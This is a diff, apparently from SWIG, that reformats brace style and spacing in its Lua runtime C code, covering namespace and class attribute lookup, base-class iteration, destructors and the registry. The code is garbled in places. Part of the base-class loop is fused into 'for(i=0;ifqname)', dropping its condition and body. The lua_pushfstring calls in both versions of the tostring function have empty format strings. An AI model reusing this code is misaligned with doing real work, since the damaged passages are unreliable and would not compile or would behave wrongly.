there should be 2 params passed in - (1) table (not the meta table) - (2) string name of the attribute -*/ - assert(lua_istable(L,-2)); /* just in case */ - lua_getmetatable(L,-2); - assert(lua_istable(L,-1)); - SWIG_Lua_get_table(L,".get"); /* find the .get table */ - assert(lua_istable(L,-1)); - /* look for the key in the .get table */ - lua_pushvalue(L,2); /* key */ - lua_rawget(L,-2); - lua_remove(L,-2); /* stack tidy, remove .get table */ - if (lua_iscfunction(L,-1)) - { /* found it so call the fn & return its value */ - lua_call(L,0,1); /* 1 value in (userdata),1 out (result) */ - lua_remove(L,-2); /* stack tidy, remove metatable */ - return 1; - } - lua_pop(L,1); /* remove whatever was there */ - /* ok, so try the .fn table */ - SWIG_Lua_get_table(L,".fn"); /* find the .get table */ - assert(lua_istable(L,-1)); /* just in case */ - lua_pushvalue(L,2); /* key */ - lua_rawget(L,-2); /* look for the fn */ - lua_remove(L,-2); /* stack tidy, remove .fn table */ - if (lua_isfunction(L,-1)) /* note: whether it's a C function or lua function */ - { /* found it so return the fn & let lua call it */ - lua_remove(L,-2); /* stack tidy, remove metatable */ - return 1; - } - lua_pop(L,1); /* remove whatever was there */ - return 0; +SWIGINTERN int SWIG_Lua_namespace_get(lua_State *L) { + /* there should be 2 params passed in + (1) table (not the meta table) + (2) string name of the attribute + */ + assert(lua_istable(L, -2)); /* just in case */ + lua_getmetatable(L, -2); + assert(lua_istable(L, -1)); + SWIG_Lua_get_table(L, ".get"); /* find the .get table */ + assert(lua_istable(L, -1)); + /* look for the key in the .get table */ + lua_pushvalue(L, 2); /* key */ + lua_rawget(L, -2); + lua_remove(L, -2); /* stack tidy, remove .get table */ + if (lua_iscfunction(L, -1)) { + /* found it so call the fn & return its value */ + lua_call(L, 0, 1); /* 1 value in (userdata),1 out (result) */ + lua_remove(L, -2); /* stack tidy, remove metatable */ + return 1; + } + lua_pop(L, 1); /* remove whatever was there */ + /* ok, so try the .fn table */ + SWIG_Lua_get_table(L, ".fn"); /* find the .get table */ + assert(lua_istable(L, -1)); /* just in case */ + lua_pushvalue(L, 2); /* key */ + lua_rawget(L, -2); /* look for the fn */ + lua_remove(L, -2); /* stack tidy, remove .fn table */ + if (lua_isfunction(L, -1)) { /* note: whether it's a C function or lua function */ + /* found it so return the fn & let lua call it */ + lua_remove(L, -2); /* stack tidy, remove metatable */ + return 1; + } + lua_pop(L, 1); /* remove whatever was there */ + return 0; } -SWIGINTERN int SWIG_Lua_namespace_set(lua_State *L) -{ -/* there should be 3 params passed in - (1) table (not the meta table) - (2) string name of the attribute - (3) any for the new value -*/ +SWIGINTERN int SWIG_Lua_namespace_set(lua_State *L) { + /* there should be 3 params passed in + (1) table (not the meta table) + (2) string name of the attribute + (3) any for the new value + */ - assert(lua_istable(L,1)); - lua_getmetatable(L,1); /* get the meta table */ - assert(lua_istable(L,-1)); + assert(lua_istable(L, 1)); + lua_getmetatable(L, 1); /* get the meta table */ + assert(lua_istable(L, -1)); - SWIG_Lua_get_table(L,".set"); /* find the .set table */ - if (lua_istable(L,-1)) - { - /* look for the key in the .set table */ - lua_pushvalue(L,2); /* key */ - lua_rawget(L,-2); - if (lua_iscfunction(L,-1)) - { /* found it so call the fn & return its value */ - lua_pushvalue(L,3); /* value */ - lua_call(L,1,0); - return 0; + SWIG_Lua_get_table(L, ".set"); /* find the .set table */ + if (lua_istable(L, -1)) { + /* look for the key in the .set table */ + lua_pushvalue(L, 2); /* key */ + lua_rawget(L, -2); + if (lua_iscfunction(L, -1)) { + /* found it so call the fn & return its value */ + lua_pushvalue(L, 3); /* value */ + lua_call(L, 1, 0); + return 0; + } + lua_pop(L, 1); /* remove the value */ } - lua_pop(L,1); /* remove the value */ - } - lua_pop(L,1); /* remove the value .set table */ - lua_pop(L,1); /* remote metatable */ - lua_rawset(L,-3); - return 0; + lua_pop(L, 1); /* remove the value .set table */ + lua_pop(L, 1); /* remote metatable */ + lua_rawset(L, -3); + return 0; } #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) /* In elua this is useless */ SWIGINTERN void SWIG_Lua_InstallConstants(lua_State *L, swig_lua_const_info constants[]); /* forward declaration */ -SWIGINTERN void SWIG_Lua_add_variable(lua_State *L,const char *name,lua_CFunction getFn,lua_CFunction setFn); /* forward declaration */ -SWIGINTERN void SWIG_Lua_class_register(lua_State *L,swig_lua_class *clss); +SWIGINTERN void SWIG_Lua_add_variable(lua_State *L, const char *name, lua_CFunction getFn, lua_CFunction setFn); /* forward declaration */ +SWIGINTERN void SWIG_Lua_class_register(lua_State *L, swig_lua_class *clss); /* helper function - register namespace methods and attributes into namespace */ -SWIGINTERN int SWIG_Lua_add_namespace_details(lua_State *L, swig_lua_namespace *ns) -{ - int i; - /* There must be namespace table (not metatable) at the top of the stack */ - assert(lua_istable(L,-1)); - SWIG_Lua_InstallConstants(L, ns->ns_constants); +SWIGINTERN int SWIG_Lua_add_namespace_details(lua_State *L, swig_lua_namespace *ns) { + int i; + /* There must be namespace table (not metatable) at the top of the stack */ + assert(lua_istable(L, -1)); + SWIG_Lua_InstallConstants(L, ns->ns_constants); - /* add methods to the namespace/module table */ - for(i=0;ns->ns_methods[i].name;i++){ - SWIG_Lua_add_function(L,ns->ns_methods[i].name,ns->ns_methods[i].func); - } - lua_getmetatable(L,-1); + /* add methods to the namespace/module table */ + for (i = 0; ns->ns_methods[i].name; i++) { + SWIG_Lua_add_function(L, ns->ns_methods[i].name, ns->ns_methods[i].func); + } + lua_getmetatable(L, -1); - /* add fns */ - for(i=0;ns->ns_attributes[i].name;i++){ - SWIG_Lua_add_variable(L,ns->ns_attributes[i].name,ns->ns_attributes[i].getmethod,ns->ns_attributes[i].setmethod); - } + /* add fns */ + for (i = 0; ns->ns_attributes[i].name; i++) { + SWIG_Lua_add_variable(L, ns->ns_attributes[i].name, ns->ns_attributes[i].getmethod, ns->ns_attributes[i].setmethod); + } - /* clear stack - remove metatble */ - lua_pop(L,1); - return 0; + /* clear stack - remove metatble */ + lua_pop(L, 1); + return 0; } /* Register all classes in the namespace */ -SWIGINTERN void SWIG_Lua_add_namespace_classes(lua_State *L, swig_lua_namespace *ns) -{ - swig_lua_class **classes; +SWIGINTERN void SWIG_Lua_add_namespace_classes(lua_State *L, swig_lua_namespace *ns) { + swig_lua_class **classes; - /* There must be a module/namespace table at the top of the stack */ - assert(lua_istable(L,-1)); + /* There must be a module/namespace table at the top of the stack */ + assert(lua_istable(L, -1)); - classes = ns->ns_classes; + classes = ns->ns_classes; - if( classes != 0 ) { - while(*classes != 0) { - SWIG_Lua_class_register(L, *classes); - classes++; + if (classes != 0) { + while (*classes != 0) { + SWIG_Lua_class_register(L, *classes); + classes++; + } } - } } /* Helper function. Creates namespace table and adds it to module table @@ -1430,55 +1416,54 @@ SWIGINTERN void SWIG_Lua_add_namespace_classes(lua_State *L, swig_lua_namespace when function is called). Function always returns newly registered table on top of the stack. */ -SWIGINTERN void SWIG_Lua_namespace_register(lua_State *L, swig_lua_namespace *ns, int reg) -{ - swig_lua_namespace **sub_namespace; - /* 1 argument - table on the top of the stack */ - const int SWIGUNUSED begin = lua_gettop(L); - assert(lua_istable(L,-1)); /* just in case. This is supposed to be module table or parent namespace table */ - lua_checkstack(L,5); - lua_newtable(L); /* namespace itself */ - lua_newtable(L); /* metatable for namespace */ +SWIGINTERN void SWIG_Lua_namespace_register(lua_State *L, swig_lua_namespace *ns, int reg) { + swig_lua_namespace **sub_namespace; + /* 1 argument - table on the top of the stack */ + const int SWIGUNUSED begin = lua_gettop(L); + assert(lua_istable(L, -1)); /* just in case. This is supposed to be module table or parent namespace table */ + lua_checkstack(L, 5); + lua_newtable(L); /* namespace itself */ + lua_newtable(L); /* metatable for namespace */ - /* add a table called ".get" */ - lua_pushstring(L,".get"); - lua_newtable(L); - lua_rawset(L,-3); - /* add a table called ".set" */ - lua_pushstring(L,".set"); - lua_newtable(L); - lua_rawset(L,-3); - /* add a table called ".fn" */ - lua_pushstring(L,".fn"); - lua_newtable(L); - lua_rawset(L,-3); + /* add a table called ".get" */ + lua_pushstring(L, ".get"); + lua_newtable(L); + lua_rawset(L, -3); + /* add a table called ".set" */ + lua_pushstring(L, ".set"); + lua_newtable(L); + lua_rawset(L, -3); + /* add a table called ".fn" */ + lua_pushstring(L, ".fn"); + lua_newtable(L); + lua_rawset(L, -3); - /* add accessor fns for using the .get,.set&.fn */ - SWIG_Lua_add_function(L,"__index",SWIG_Lua_namespace_get); - SWIG_Lua_add_function(L,"__newindex",SWIG_Lua_namespace_set); + /* add accessor fns for using the .get,.set&.fn */ + SWIG_Lua_add_function(L, "__index", SWIG_Lua_namespace_get); + SWIG_Lua_add_function(L, "__newindex", SWIG_Lua_namespace_set); - lua_setmetatable(L,-2); /* set metatable */ + lua_setmetatable(L, -2); /* set metatable */ - /* Register all functions, variables etc */ - SWIG_Lua_add_namespace_details(L,ns); - /* Register classes */ - SWIG_Lua_add_namespace_classes(L,ns); + /* Register all functions, variables etc */ + SWIG_Lua_add_namespace_details(L, ns); + /* Register classes */ + SWIG_Lua_add_namespace_classes(L, ns); - sub_namespace = ns->ns_namespaces; - if( sub_namespace != 0) { - while(*sub_namespace != 0) { - SWIG_Lua_namespace_register(L, *sub_namespace, 1); - lua_pop(L,1); /* removing sub-namespace table */ - sub_namespace++; + sub_namespace = ns->ns_namespaces; + if (sub_namespace != 0) { + while (*sub_namespace != 0) { + SWIG_Lua_namespace_register(L, *sub_namespace, 1); + lua_pop(L, 1); /* removing sub-namespace table */ + sub_namespace++; + } } - } - if (reg) { - lua_pushstring(L,ns->name); - lua_pushvalue(L,-2); - lua_rawset(L,-4); /* add namespace to module table */ - } - assert(lua_gettop(L) == begin+1); + if (reg) { + lua_pushstring(L, ns->name); + lua_pushvalue(L, -2); + lua_rawset(L, -4); /* add namespace to module table */ + } + assert(lua_gettop(L) == begin + 1); } #endif /* SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA */ @@ -1486,13 +1471,12 @@ SWIGINTERN void SWIG_Lua_namespace_register(lua_State *L, swig_lua_namespace *ns * global variable support code: classes * ----------------------------------------------------------------------------- */ -SWIGINTERN void SWIG_Lua_get_class_metatable(lua_State *L,const char *cname); +SWIGINTERN void SWIG_Lua_get_class_metatable(lua_State *L, const char *cname); -typedef int (*swig_lua_base_iterator_func)(lua_State*,swig_type_info*, int, int *ret); +typedef int (*swig_lua_base_iterator_func)(lua_State *, swig_type_info *, int, int *ret); -SWIGINTERN int SWIG_Lua_iterate_bases(lua_State *L, swig_type_info * SWIGUNUSED swig_type, - int first_arg, swig_lua_base_iterator_func func, int *const ret) -{ +SWIGINTERN int SWIG_Lua_iterate_bases(lua_State *L, swig_type_info *SWIGUNUSED swig_type, + int first_arg, swig_lua_base_iterator_func func, int *const ret) { /* first_arg - position of the object in stack. Everything that is above are arguments * and is passed to every evocation of the func */ int last_arg = lua_gettop(L);/* position of last argument */ @@ -1501,88 +1485,87 @@ SWIGINTERN int SWIG_Lua_iterate_bases(lua_State *L, swig_type_info * SWIGUNUSED int result = SWIG_ERROR; int bases_table; (void)swig_type; - lua_getmetatable(L,first_arg); + lua_getmetatable(L, first_arg); /* initialise base search */ #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) - SWIG_Lua_get_table(L,".bases"); - assert(lua_istable(L,-1)); - bases_count = lua_rawlen(L,-1); + SWIG_Lua_get_table(L, ".bases"); + assert(lua_istable(L, -1)); + bases_count = lua_rawlen(L, -1); bases_table = lua_gettop(L); #else /* In elua .bases table doesn't exist. Use table from swig_lua_class */ (void)bases_table; - assert(swig_type!=0); - swig_module_info *module=SWIG_GetModule(L); - swig_lua_class **bases= ((swig_lua_class*)(swig_type->clientdata))->bases; - const char **base_names= ((swig_lua_class*)(swig_type->clientdata))->base_names; + assert(swig_type != 0); + swig_module_info *module = SWIG_GetModule(L); + swig_lua_class **bases = ((swig_lua_class *)(swig_type->clientdata))->bases; + const char **base_names = ((swig_lua_class *)(swig_type->clientdata))->base_names; bases_count = 0; - for(;base_names[bases_count]; - bases_count++);/* get length of bases */ + for (; base_names[bases_count]; + bases_count++);/* get length of bases */ #endif - if(ret) - *ret = 0; - if(bases_count>0) - { - int to_remove; - size_t i; - int j; - int subcall_last_arg; - int subcall_first_arg = lua_gettop(L) + 1;/* Here a copy of first_arg and arguments begin */ - int valid = 1; - swig_type_info *base_swig_type = 0; - for(j=first_arg;j<=last_arg;j++) - lua_pushvalue(L,j); - subcall_last_arg = lua_gettop(L); + if (ret) + *ret = 0; + if (bases_count > 0) { + int to_remove; + size_t i; + int j; + int subcall_last_arg; + int subcall_first_arg = lua_gettop(L) + 1;/* Here a copy of first_arg and arguments begin */ + int valid = 1; + swig_type_info *base_swig_type = 0; + for (j = first_arg; j <= last_arg; j++) + lua_pushvalue(L, j); + subcall_last_arg = lua_gettop(L); - /* Trick: temporarily replacing original metatable with metatable for base class and call getter */ - for(i=0;ifqname); - base_swig_type = SWIG_TypeQueryModule(module,module,base_names[i]); - assert(base_swig_type != 0); - } + swig_lua_class *base_class = bases[i]; + if (!base_class) { + valid = 0; + } else { + valid = 1; + SWIG_Lua_get_class_metatable(L, base_class->fqname); + base_swig_type = SWIG_TypeQueryModule(module, module, base_names[i]); + assert(base_swig_type != 0); + } #endif - if(!valid) - continue; - assert(lua_isuserdata(L, subcall_first_arg)); - assert(lua_istable(L,-1)); - lua_setmetatable(L,subcall_first_arg); /* Set new metatable */ - assert(lua_gettop(L) == subcall_last_arg); - result = func(L, base_swig_type,subcall_first_arg, ret); /* Forward call */ - if(result != SWIG_ERROR) { - break; + if (!valid) + continue; + assert(lua_isuserdata(L, subcall_first_arg)); + assert(lua_istable(L, -1)); + lua_setmetatable(L, subcall_first_arg); /* Set new metatable */ + assert(lua_gettop(L) == subcall_last_arg); + result = func(L, base_swig_type, subcall_first_arg, ret); /* Forward call */ + if (result != SWIG_ERROR) { + break; + } } - } - /* Restore original metatable */ - lua_pushvalue(L,original_metatable); - lua_setmetatable(L,first_arg); - /* Clear - remove everything between last_arg and subcall_last_arg including */ - to_remove = subcall_last_arg - last_arg; - for(j=0;jtype; - result = SWIG_Lua_class_do_get(L,type,1,&ret); - if(result == SWIG_OK) - return ret; +SWIGINTERN int SWIG_Lua_class_get(lua_State *L) { + /* there should be 2 params passed in + (1) userdata (not the meta table) + (2) string name of the attribute + */ + int result; + swig_lua_userdata *usr; + swig_type_info *type; + int ret = 0; + assert(lua_isuserdata(L, 1)); + usr = (swig_lua_userdata *)lua_touserdata(L, 1); /* get data */ + type = usr->type; + result = SWIG_Lua_class_do_get(L, type, 1, &ret); + if (result == SWIG_OK) + return ret; - result = SWIG_Lua_class_do_get_item(L,type,1,&ret); - if(result == SWIG_OK) - return ret; + result = SWIG_Lua_class_do_get_item(L, type, 1, &ret); + if (result == SWIG_OK) + return ret; - return 0; + return 0; } /* helper for the class.set method, performs the lookup of class attributes * It returns error code. Number of function return values is passed inside 'ret' */ -SWIGINTERN int SWIG_Lua_class_do_set(lua_State *L, swig_type_info *type, int first_arg, int *ret) -{ -/* there should be 3 params passed in - (1) table (not the meta table) - (2) string name of the attribute - (3) any for the new value - */ +SWIGINTERN int SWIG_Lua_class_do_set(lua_State *L, swig_type_info *type, int first_arg, int *ret) { + /* there should be 3 params passed in + (1) table (not the meta table) + (2) string name of the attribute + (3) any for the new value + */ - int bases_search_result; - int substack_start = lua_gettop(L) - 3; - lua_checkstack(L,5); - assert(lua_isuserdata(L,substack_start+1)); /* just in case */ - lua_getmetatable(L,substack_start+1); /* get the meta table */ - assert(lua_istable(L,-1)); /* just in case */ - if(ret) - *ret = 0; /* it is setter - number of return values is always 0 */ + int bases_search_result; + int substack_start = lua_gettop(L) - 3; + lua_checkstack(L, 5); + assert(lua_isuserdata(L, substack_start + 1)); /* just in case */ + lua_getmetatable(L, substack_start + 1); /* get the meta table */ + assert(lua_istable(L, -1)); /* just in case */ + if (ret) + *ret = 0; /* it is setter - number of return values is always 0 */ - SWIG_Lua_get_table(L,".set"); /* find the .set table */ - if (lua_istable(L,-1)) - { - /* look for the key in the .set table */ - lua_pushvalue(L,substack_start+2); /* key */ - lua_rawget(L,-2); - lua_remove(L,-2); /* tidy stack, remove .set table */ - if (lua_iscfunction(L,-1)) - { /* found it so call the fn & return its value */ - lua_pushvalue(L,substack_start+1); /* userdata */ - lua_pushvalue(L,substack_start+3); /* value */ - lua_call(L,2,0); - lua_remove(L,substack_start+4); /*remove metatable*/ - return SWIG_OK; + SWIG_Lua_get_table(L, ".set"); /* find the .set table */ + if (lua_istable(L, -1)) { + /* look for the key in the .set table */ + lua_pushvalue(L, substack_start + 2); /* key */ + lua_rawget(L, -2); + lua_remove(L, -2); /* tidy stack, remove .set table */ + if (lua_iscfunction(L, -1)) { + /* found it so call the fn & return its value */ + lua_pushvalue(L, substack_start + 1); /* userdata */ + lua_pushvalue(L, substack_start + 3); /* value */ + lua_call(L, 2, 0); + lua_remove(L, substack_start + 4); /*remove metatable*/ + return SWIG_OK; + } + lua_pop(L, 1); /* remove the value */ + } else { + lua_pop(L, 1); /* remove the answer for .set table request*/ } - lua_pop(L,1); /* remove the value */ - } else { - lua_pop(L,1); /* remove the answer for .set table request*/ - } - /* NEW: looks for the __setitem() fn - this is a user provided set fn */ - SWIG_Lua_get_table(L,"__setitem"); /* find the fn */ - if (lua_iscfunction(L,-1)) /* if it's there */ - { /* found it so call the fn & return its value */ - lua_pushvalue(L,substack_start+1); /* the userdata */ - lua_pushvalue(L,substack_start+2); /* the parameter */ - lua_pushvalue(L,substack_start+3); /* the value */ - lua_call(L,3,0); /* 3 values in ,0 out */ - lua_remove(L,-2); /* stack tidy, remove metatable */ - return SWIG_OK; - } - lua_pop(L,1); /* remove value */ + /* NEW: looks for the __setitem() fn + this is a user provided set fn */ + SWIG_Lua_get_table(L, "__setitem"); /* find the fn */ + if (lua_iscfunction(L, -1)) { /* if it's there */ + /* found it so call the fn & return its value */ + lua_pushvalue(L, substack_start + 1); /* the userdata */ + lua_pushvalue(L, substack_start + 2); /* the parameter */ + lua_pushvalue(L, substack_start + 3); /* the value */ + lua_call(L, 3, 0); /* 3 values in ,0 out */ + lua_remove(L, -2); /* stack tidy, remove metatable */ + return SWIG_OK; + } + lua_pop(L, 1); /* remove value */ - lua_pop(L,1); /* remove metatable */ - /* Search among bases */ - bases_search_result = SWIG_Lua_iterate_bases(L,type,first_arg,SWIG_Lua_class_do_set,ret); - if(ret) - assert(*ret == 0); - assert(lua_gettop(L) == substack_start + 3); - return bases_search_result; + lua_pop(L, 1); /* remove metatable */ + /* Search among bases */ + bases_search_result = SWIG_Lua_iterate_bases(L, type, first_arg, SWIG_Lua_class_do_set, ret); + if (ret) + assert(*ret == 0); + assert(lua_gettop(L) == substack_start + 3); + return bases_search_result; } /* This is the actual method exported to Lua. It calls SWIG_Lua_class_do_set and correctly * handles return values. */ -SWIGINTERN int SWIG_Lua_class_set(lua_State *L) -{ -/* There should be 3 params passed in - (1) table (not the meta table) - (2) string name of the attribute - (3) any for the new value - */ - int ret = 0; - int result; - swig_lua_userdata *usr; - swig_type_info *type; - assert(lua_isuserdata(L,1)); - usr=(swig_lua_userdata*)lua_touserdata(L,1); /* get data */ - type = usr->type; - result = SWIG_Lua_class_do_set(L,type,1,&ret); - if(result != SWIG_OK) { - SWIG_Lua_pushferrstring(L,"Assignment not possible. No setter/member with this name. For custom assignments implement __setitem method."); - lua_error(L); - } else { - assert(ret==0); - } - return 0; +SWIGINTERN int SWIG_Lua_class_set(lua_State *L) { + /* There should be 3 params passed in + (1) table (not the meta table) + (2) string name of the attribute + (3) any for the new value + */ + int ret = 0; + int result; + swig_lua_userdata *usr; + swig_type_info *type; + assert(lua_isuserdata(L, 1)); + usr = (swig_lua_userdata *)lua_touserdata(L, 1); /* get data */ + type = usr->type; + result = SWIG_Lua_class_do_set(L, type, 1, &ret); + if (result != SWIG_OK) { + SWIG_Lua_pushferrstring(L, "Assignment not possible. No setter/member with this name. For custom assignments implement __setitem method."); + lua_error(L); + } else { + assert(ret == 0); + } + return 0; } /* the class.destruct method called by the interpreter */ -SWIGINTERN int SWIG_Lua_class_destruct(lua_State *L) -{ -/* there should be 1 params passed in - (1) userdata (not the meta table) */ - swig_lua_userdata *usr; - swig_lua_class *clss; - assert(lua_isuserdata(L,-1)); /* just in case */ - usr=(swig_lua_userdata*)lua_touserdata(L,-1); /* get it */ - /* if must be destroyed & has a destructor */ - if (usr->own) /* if must be destroyed */ - { - clss=(swig_lua_class*)usr->type->clientdata; /* get the class */ - if (clss && clss->destructor) /* there is a destroy fn */ - { - clss->destructor(usr->ptr); /* bye bye */ +SWIGINTERN int SWIG_Lua_class_destruct(lua_State *L) { + /* there should be 1 params passed in + (1) userdata (not the meta table) */ + swig_lua_userdata *usr; + swig_lua_class *clss; + assert(lua_isuserdata(L, -1)); /* just in case */ + usr = (swig_lua_userdata *)lua_touserdata(L, -1); /* get it */ + /* if must be destroyed & has a destructor */ + if (usr->own) { /* if must be destroyed */ + clss = (swig_lua_class *)usr->type->clientdata; /* get the class */ + if (clss && clss->destructor) { /* there is a destroy fn */ + clss->destructor(usr->ptr); /* bye bye */ + } } - } - return 0; + return 0; } /* the class.__tostring method called by the interpreter and print */ -SWIGINTERN int SWIG_Lua_class_tostring(lua_State *L) -{ -/* there should be 1 param passed in - (1) userdata (not the metatable) */ - swig_lua_userdata* userData; - assert(lua_isuserdata(L,1)); /* just in case */ - userData = (swig_lua_userdata*)lua_touserdata(L,1); /* get the userdata address */ +SWIGINTERN int SWIG_Lua_class_tostring(lua_State *L) { + /* there should be 1 param passed in + (1) userdata (not the metatable) */ + swig_lua_userdata *userData; + assert(lua_isuserdata(L, 1)); /* just in case */ + userData = (swig_lua_userdata *)lua_touserdata(L, 1); /* get the userdata address */ - lua_pushfstring(L, "", userData->type->str, userData->ptr); - return 1; + lua_pushfstring(L, "", userData->type->str, userData->ptr); + return 1; } /* to manually disown some userdata */ -SWIGINTERN int SWIG_Lua_class_disown(lua_State *L) -{ -/* there should be 1 params passed in - (1) userdata (not the meta table) */ - swig_lua_userdata *usr; - assert(lua_isuserdata(L,-1)); /* just in case */ - usr=(swig_lua_userdata*)lua_touserdata(L,-1); /* get it */ +SWIGINTERN int SWIG_Lua_class_disown(lua_State *L) { + /* there should be 1 params passed in + (1) userdata (not the meta table) */ + swig_lua_userdata *usr; + assert(lua_isuserdata(L, -1)); /* just in case */ + usr = (swig_lua_userdata *)lua_touserdata(L, -1); /* get it */ - usr->own = 0; /* clear our ownership */ - return 0; + usr->own = 0; /* clear our ownership */ + return 0; } /* lua callable function to compare userdata's value the issue is that two userdata may point to the same thing but to lua, they are different objects */ -SWIGRUNTIME int SWIG_Lua_class_equal(lua_State *L) -{ - int result; - swig_lua_userdata *usr1,*usr2; - if (!lua_isuserdata(L,1) || !lua_isuserdata(L,2)) /* just in case */ - return 0; /* nil reply */ - usr1=(swig_lua_userdata*)lua_touserdata(L,1); /* get data */ - usr2=(swig_lua_userdata*)lua_touserdata(L,2); /* get data */ - /*result=(usr1->ptr==usr2->ptr && usr1->type==usr2->type); only works if type is the same*/ - result=(usr1->ptr==usr2->ptr); - lua_pushboolean(L,result); - return 1; +SWIGRUNTIME int SWIG_Lua_class_equal(lua_State *L) { + int result; + swig_lua_userdata *usr1, *usr2; + if (!lua_isuserdata(L, 1) || !lua_isuserdata(L, 2)) /* just in case */ + return 0; /* nil reply */ + usr1 = (swig_lua_userdata *)lua_touserdata(L, 1); /* get data */ + usr2 = (swig_lua_userdata *)lua_touserdata(L, 2); /* get data */ + /*result=(usr1->ptr==usr2->ptr && usr1->type==usr2->type); only works if type is the same*/ + result = (usr1->ptr == usr2->ptr); + lua_pushboolean(L, result); + return 1; } /* populate table at the top of the stack with metamethods that ought to be inherited */ -SWIGINTERN void SWIG_Lua_populate_inheritable_metamethods(lua_State *L) -{ - SWIG_Lua_add_boolean(L, "__add", 1); - SWIG_Lua_add_boolean(L, "__sub", 1); - SWIG_Lua_add_boolean(L, "__mul", 1); - SWIG_Lua_add_boolean(L, "__div", 1); - SWIG_Lua_add_boolean(L, "__mod", 1); - SWIG_Lua_add_boolean(L, "__pow", 1); - SWIG_Lua_add_boolean(L, "__unm", 1); - SWIG_Lua_add_boolean(L, "__len", 1 ); - SWIG_Lua_add_boolean(L, "__concat", 1 ); - SWIG_Lua_add_boolean(L, "__eq", 1); - SWIG_Lua_add_boolean(L, "__lt", 1); - SWIG_Lua_add_boolean(L, "__le", 1); - SWIG_Lua_add_boolean(L, "__call", 1); - SWIG_Lua_add_boolean(L, "__tostring", 1); - SWIG_Lua_add_boolean(L, "__gc", 0); +SWIGINTERN void SWIG_Lua_populate_inheritable_metamethods(lua_State *L) { + SWIG_Lua_add_boolean(L, "__add", 1); + SWIG_Lua_add_boolean(L, "__sub", 1); + SWIG_Lua_add_boolean(L, "__mul", 1); + SWIG_Lua_add_boolean(L, "__div", 1); + SWIG_Lua_add_boolean(L, "__mod", 1); + SWIG_Lua_add_boolean(L, "__pow", 1); + SWIG_Lua_add_boolean(L, "__unm", 1); + SWIG_Lua_add_boolean(L, "__len", 1); + SWIG_Lua_add_boolean(L, "__concat", 1); + SWIG_Lua_add_boolean(L, "__eq", 1); + SWIG_Lua_add_boolean(L, "__lt", 1); + SWIG_Lua_add_boolean(L, "__le", 1); + SWIG_Lua_add_boolean(L, "__call", 1); + SWIG_Lua_add_boolean(L, "__tostring", 1); + SWIG_Lua_add_boolean(L, "__gc", 0); } /* creates the swig registry */ -SWIGINTERN void SWIG_Lua_create_class_registry(lua_State *L) -{ - /* create main SWIG registry table */ - lua_pushstring(L,"SWIG"); - lua_newtable(L); - /* populate it with some predefined data */ - - /* .library table. Placeholder */ - lua_pushstring(L,".library"); - lua_newtable(L); - { - /* list of metamethods that class inherits from its bases */ - lua_pushstring(L,"inheritable_metamethods"); +SWIGINTERN void SWIG_Lua_create_class_registry(lua_State *L) { + /* create main SWIG registry table */ + lua_pushstring(L, "SWIG"); lua_newtable(L); - /* populate with list of metamethods */ - SWIG_Lua_populate_inheritable_metamethods(L); - lua_rawset(L,-3); - } - lua_rawset(L,-3); + /* populate it with some predefined data */ - lua_rawset(L,LUA_REGISTRYINDEX); + /* .library table. Placeholder */ + lua_pushstring(L, ".library"); + lua_newtable(L); + { + /* list of metamethods that class inherits from its bases */ + lua_pushstring(L, "inheritable_metamethods"); + lua_newtable(L); + /* populate with list of metamethods */ + SWIG_Lua_populate_inheritable_metamethods(L); + lua_rawset(L, -3); + } + lua_rawset(L, -3); + + lua_rawset(L, LUA_REGISTRYINDEX); } /* gets the swig registry (or creates it) */ -SWIGINTERN void SWIG_Lua_get_class_registry(lua_State *L) -{ - /* add this all into the swig registry: */ - lua_pushstring(L,"SWIG"); - lua_rawget(L,LUA_REGISTRYINDEX); /* get the registry */ - if (!lua_istable(L,-1)) /* not there */ - { /* must be first time, so add it */ - lua_pop(L,1); /* remove the result */ - SWIG_Lua_create_class_registry(L); - /* then get it */ - lua_pushstring(L,"SWIG"); - lua_rawget(L,LUA_REGISTRYINDEX); - } +SWIGINTERN void SWIG_Lua_get_class_registry(lua_State *L) { + /* add this all into the swig registry: */ + lua_pushstring(L, "SWIG"); + lua_rawget(L, LUA_REGISTRYINDEX); /* get the registry */ + if (!lua_istable(L, -1)) { /* not there */ + /* must be first time, so add it */ + lua_pop(L, 1); /* remove the result */ + SWIG_Lua_create_class_registry(L); + /* then get it */ + lua_pushstring(L, "SWIG"); + lua_rawget(L, LUA_REGISTRYINDEX); + } } -SWIGINTERN void SWIG_Lua_get_inheritable_metamethods(lua_State *L) -{ - SWIG_Lua_get_class_registry(L); - lua_pushstring(L, ".library"); - lua_rawget(L,-2); - assert( !lua_isnil(L,-1) ); - lua_pushstring(L, "inheritable_metamethods"); - lua_rawget(L,-2); +SWIGINTERN void SWIG_Lua_get_inheritable_metamethods(lua_State *L) { + SWIG_Lua_get_class_registry(L); + lua_pushstring(L, ".library"); + lua_rawget(L, -2); + assert(!lua_isnil(L, -1)); + lua_pushstring(L, "inheritable_metamethods"); + lua_rawget(L, -2); - /* Remove class registry and library table */ - lua_remove(L,-2); - lua_remove(L,-2); + /* Remove class registry and library table */ + lua_remove(L, -2); + lua_remove(L, -2); } /* Helper function to get the classes metatable from the register */ -SWIGINTERN void SWIG_Lua_get_class_metatable(lua_State *L,const char *cname) -{ - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L,cname); /* get the name */ - lua_rawget(L,-2); /* get it */ - lua_remove(L,-2); /* tidy up (remove registry) */ +SWIGINTERN void SWIG_Lua_get_class_metatable(lua_State *L, const char *cname) { + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L, cname); /* get the name */ + lua_rawget(L, -2); /* get it */ + lua_remove(L, -2); /* tidy up (remove registry) */ } /* Set up the base classes pointers. @@ -1949,165 +1915,151 @@ It cannot be done at compile time, as this will not work with hireachies spread over more than one swig file. Therefore it must be done at runtime, querying the SWIG type system. */ -SWIGINTERN void SWIG_Lua_init_base_class(lua_State *L,swig_lua_class *clss) -{ - int i=0; - swig_module_info *module=SWIG_GetModule(L); - for(i=0;clss->base_names[i];i++) - { - if (clss->bases[i]==0) /* not found yet */ - { - /* lookup and cache the base class */ - swig_type_info *info = SWIG_TypeQueryModule(module,module,clss->base_names[i]); - if (info) clss->bases[i] = (swig_lua_class *) info->clientdata; +SWIGINTERN void SWIG_Lua_init_base_class(lua_State *L, swig_lua_class *clss) { + int i = 0; + swig_module_info *module = SWIG_GetModule(L); + for (i = 0; clss->base_names[i]; i++) { + if (clss->bases[i] == 0) { /* not found yet */ + /* lookup and cache the base class */ + swig_type_info *info = 